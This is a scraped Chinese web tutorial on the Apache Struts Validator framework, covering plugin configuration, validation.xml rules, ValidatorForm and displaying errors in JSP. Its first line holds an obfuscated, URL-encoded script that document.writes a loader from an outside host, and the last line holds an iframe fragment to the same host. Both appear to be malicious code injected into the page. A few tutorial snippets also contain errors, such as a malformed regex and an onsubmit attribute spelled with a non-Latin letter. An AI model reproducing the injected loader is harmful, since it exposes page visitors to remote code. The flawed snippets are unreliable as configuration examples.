HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Struts表单验证开发指南
要在Struts项目中使用
Validator
功能,首先需要配置Struts项目,使其支持
Validator
框架.Struts通过一个插件(
Plugin)
来使Struts项目支持
Validator
.这个
Plugin
由Struts默认提供,用户也可以自己开发自己的
Validator
Plugin.Struts
默认提供的
Plugin
为:
org.apache.struts.validator.ValidatorPlugIn
.
用户必须在struts-
config.xml
文件中配置这个
Plugin
,才能使Struts项目支持
Validator
.配置方法比较简单,通过任何文本编辑器打开struts-
config.xml
文件,在这个文件的末尾加上下面的代码,重新启动J2EE服务器就可以实现对
Validator
的支持了.
<plug-in
className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames"
value="/WEB-
INF/validator-rules.xml,/WEB-INF/validation.xml" />
</plug-in>
在
Jbuilder
开发环境中可以通过下面的方法使Struts项目支持
Validator
框架.
1.
在项目管理器中用鼠标右键点击Web项目(在我们的项目中是
WebModule ).
2.
选择菜单的 “Properties…”菜单项.
3.
在弹出的对话框的
左边树型结构中选中
“web” 节点.
4.
在右边的 “JSP/
Servlet frameworks”
框中勾选
“sturts1.1” 节点以及 “struts” 节点下的 “validation” 子节点.
5.
点击 “OK” 按钮完成配置.
6.
检查 struts-
config.xml
文件,可以看到配置文件里已经加入了
Validator
Plugin.
Validator-rules.xml
文件
Validator-rules.xml
文件是校验器的定义文件.指定了每一个校验器的基本信息和执行校验的JavaScript代码.Struts默认提供了十四个校验器,这些校验器可以满足我们平时项目开发中碰到的绝大多数的输入校验要求.如果这些校验器不能满足用户的校验要求,那么我们也可以开发自己的校验器.我们项目主就实现了一个校验密码的一致性的
Validator
.
Struts提供的校验器包括Required
Validator ,Requiredif Validator, MinLength Validator , MaxLength Validator , Mask Validator , Byte Validator , Short Validaotr , Integer Validator , Long Validator , Float Validator , Double Validator , Date Validator , Range Validator , IntRange Validator , FloatRange Validator , CrediteCard Validator , Email Validator
等校验器.
后面我
将讲述一些比较常用的校验器的使用方法.
Validator.xml
文件
Validator.xml
文件用来定义用户需要校验的每一个JSP Form中的每一个字段的校验规则,这个文件是我们在Struts项目开发中使用
Validator
框架所需要配置的文件.这个文件的根节点是<form-
validator>,
在根节点下的<
formset>
节点的<form>子节点就对应了我们在开发JSP文件是所定义的Form标记,也对应这struts-
config.xml
中的form bean的定义.一个<form>节点由多个<field>节点组成,每个<field>节点的结构大概如下:
<field property="password" depends="required,minlength,twofields">
<msg name="required" key="test.required"/>
<msg name="minlength" key="test.minlength"/>
<msg name="twofields" key="test.twofields"/>
<arg0 key="test.password" />
<arg1 name="minlength" key="${var:minlength}" resource="false" />
<var>
<var-name>minlength</var-name>
<var-value>8</var-value>
</var>
<var>
<var-name>secondProperty</var-name>
<var-value>password2</var-value>
</var>
</field>
其中一个<Field>对应于一个Form Bean的一个Field,<Field>标记的property属性说明了这个Field对应的Form Bean的Field名称,这个名称要跟struts-
config.xml
文件中的<form-bean>中定义的名字一致.depends属性说明了这个Field依赖于那些校验器的校验,可以使用多个校验器,各个校验器之间使用逗号隔开.<
msg>
标记说明了当这个Field通不过校验的时候向用户提供的错误信息.name属性指定了对应的校验器,key属性指定了定义在
ApplicationResources.properties
文件中的错误信息.<arg0>和<arg1>是传递给校验器的参数.<
var>
标记定义了参数的名字和参数值.上面的这个例子说明了password字段由
Required,Minlength,Twofields
校验器进行校验.指定了这个Field不能为空,而且最小长度不能小于8为,并且必须和同一个Form中的另一个名为password2的字段相同.如果用户的输入不能满足这些要求,校验器将会抛出异常.
下面开始将怎么在这个配置文件中配置各个校验
器实现对
form中的多
中类型的
field进行校验.
Required
Validator
这个校验器用来校验Form的输入数据不能为空.如果某一个Form 的 Field 依赖于这个校验器,那么如果用户在Form中没有输入这个Field对应的输入数据时,Required校验器将会触发一个Exception,这个Exception的错误信息可以在页面或者服务端被捕捉到.
例子:
<field property="test" depends="required">
<msg name="required" key="test.required"/>
<arg0 key="test.testField.displayName"/>
</field>
上面的例子说明了test字段的校验规则是不能为空,在
ApplicationResources.properties
中的相应的定义信息可能是下面这样的情况:
Test.testField.displayName
=测试字段 #
上面在
<arg0>标记中定义的key= “
test.testField”
对应这个信息
Test.required
={0} 不能为空,请重新输入. #在上面定义的<
msg>
标记对应这个信息
如果
Validator
校验到用户没有输入test这个字段,就会将
test.testField
对应的信息作为
test.required
的参数传递给校验器,如果在JSP页面中捕捉了错误信息,错误信息将会是下面的这个形式:
“
测试字段 不能为空,请重新输入”
Mask
Validator
Mask
Validator
校验用户输入的数据是否遵照一定的规则,这个规则由开发者在
validator.xml
文件中定义.
例子:
<field property="
postalCode" depends="mask">
<arg0 key="
test.postalCode.displayname"/>
<arg1 name=”mask” key="${
var:mask}" resource="false"
<
var>
<
var-name>mask</var-name>
<
var-value>^0/d*$</var-value>
</
var>
</field>
上面的<arg1>标记说明了这个校验的第二个参数是定义在下面的<
var>
标记的名为mask的值.<
var-value>
的值说明了这个字段必须是以数字0开头,以任意数字字符结尾的一个串.
Range
Validator
这个校验器校验字段是否在一个数字范围内.
例子:
<field property="age" depends="range">
<msg name="range" key="test.rang"/>
<arg0 key="test.age"/>
<arg1 name="range" key="${var:min}" resource="false"/>
<arg2 name="range" key="${var:max}" resource="false"/>
<var>
<var-name>min</var-name>
<var-value>1</var-value>
</var>
<var>
<var-name>max</var-name>
<var-value>100</var-value>
</var>
</field>
Range
Validator
需要三个参数(
arg),
第一个参数arg0是指定这个字段的名字,第二个和第三个参数指定范围的最大和最小值,分别的名称是max和min.
Maxlength
Validator
Maxlength
校验器校验一个字符串的最大长度,它需要两个参数,arg0说明字段的名称,arg1说明最大长度.
例子:
<field property="password" depends="maxlength">
<msg name="maxlength" key="test.minlength"/>
<arg0 key="test.password" />
<arg1 name="maxlength" key="${var:maxlength}" resource="false" />
<var>
<var-name>maxlength</var-name>
<var-value>8</var-value>
</var>
</field>
Minlength
Validator
这个校验器类似于上面的
Maxlength
Validator,
参数一样,校验规则也一样,只是作为参数的变量名字为
minlength
<field property="password" depends="minlength">
<msg name="minlength" key="test.minlength"/>
<arg0 key="test.password" />
<arg1 name="minlength" key="${var:minlength}" resource="false" />
<var>
<var-name>minlength</var-name>
<var-value>8</var-value>
</var>
</field>
Validator
这个校验器校验电子邮件字段,当用户输入的电子邮件地址不合法的时候,校验器抛出异常.
例子:
<field property="email" depends="required,email">
<msg name="required" key="test.required"/>
<msg name="email" key="test.error.email"/>
<arg0 key="test.email"/>
</field>
Form Bean
的编写
要使用Struts的
Validator
框架进行自动校验的Form Bean不能继承自普通的
ActionForm
,必须继承自
ValidatorForm
或者
ValidatorActionForm
.我们项目组都是继承自
ValidatorForm
.
ValidatorForm
根据struts-
config.xml
文件中的action的name属性为当前form的调用相应的验证器,因此在
validation.xml
中的<form-bean>元素的名称属性(name)应该与<action>的name属性值相匹配。
ValidatorActionForm
使用struts-
config.xml
中action的path属性,所以path属性的值相应的应该与
validation.xml
中的Form的name属性匹配。
Struts-
config.xml
文件的配置
要使用
Validator
框架的自动校验机制,还必须在Struts-
config.xml
文件中作相应的配置.除了前面已经说明了的配置
Validator
Plugin
意外,还需要对需要校验的form的action进行配置.主要有两个地方需要配置,一个是<action>的input属性,一个是<action>的validate属性.input属性必须指定包含校验Form的
jsp
页面的路径,以便Struts的校验框架校验失败的时候可以重新导向到原来的页面让用户重新输入.
validator
属性是一个
boolean
类型的属性,必须设置为true struts才会启动自动校验机制.
在JSP
页面捕捉错误信息
Validator
的校验机制可以定义在服务端进行校验或者通过
Javascript
在浏览器端进行校验.这两种不同的方式在JSP页面编写的时候有很大的区别.
捕捉服务端的错误信息
要捕捉服务端校验的错误信息比较简单.只需要在JSP页面中嵌入一下的代码就可以在页面中显示错误信息,这些错误信息也可以自定义显示风格.
<
logic:messagesPresent>
<bean:message key="test.error.descript"/>
<html:messages id="error">
<li><bean:write name="error"/></li>
</html:messages>
</
logic:messagesPresent>
<
bean:message key=”test.error.descript”/>
通过
ApplicationResources.properties
文件中定义的信息向用户报告错误发生的原因和简单说明.
<
html
:messages
id=”error”>
<li><bean
:write
name=”error” /></li>
</
html
:messages
>
则是显示具体的由
Validator
框架产生的错误信息.
捕捉JavaScript
的错误信息
要捕捉JavaScript产生的错误信息首先要使JSP页面产生
Validator
生成的
Javascript
代码,并在用户点击提交按钮的时候让提交按钮触发相应的校验函数.实现方法如下:
首先要让JSP触发校验函数,使用这样的HTML代码:
<
html
:form
action="/testAction.do" οnsubmit="return validateTestForm(this);">
其中action指定这个form对应的action,这个跟普通的form没有区别,
onsubmit
属性就指定了校验函数,它的规则是: return + 空格 +
validator+ ValidatorForm
的名字 + (this)
注意这样的组合规则是不能变的,否则会导致页面错误并不能实现校验功能.还要注意
ValidatorForm
的名字的第一个字母一定要大写,不管在Struts-
congfig.xml
文件中的定义是否大写,这里都要把它作为大写字母.
然后还要在JSP页面中产生可以实现校验的JavaScript代码,这个步骤也很简单,只需要在JSP页面的末尾加上下面一句:
<
html
:javascript
formName="testForm" staticJavascript="true"/>
其中
formName
的名字要跟struts-
config.xml
文件中配置的一致,大小写也要一致.
staticJavascript
为true的时候
Validator
将使用JavaScript代码进行校验(这些
Javascript
代码由Struts 的
validator
框架自动产生,我们只需要配置
validator.xml
文件),
staticJavascript
为false的时候
validator
将使用服务端代码进行校验,这些服务端的校验代码也不需要我们编写.
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">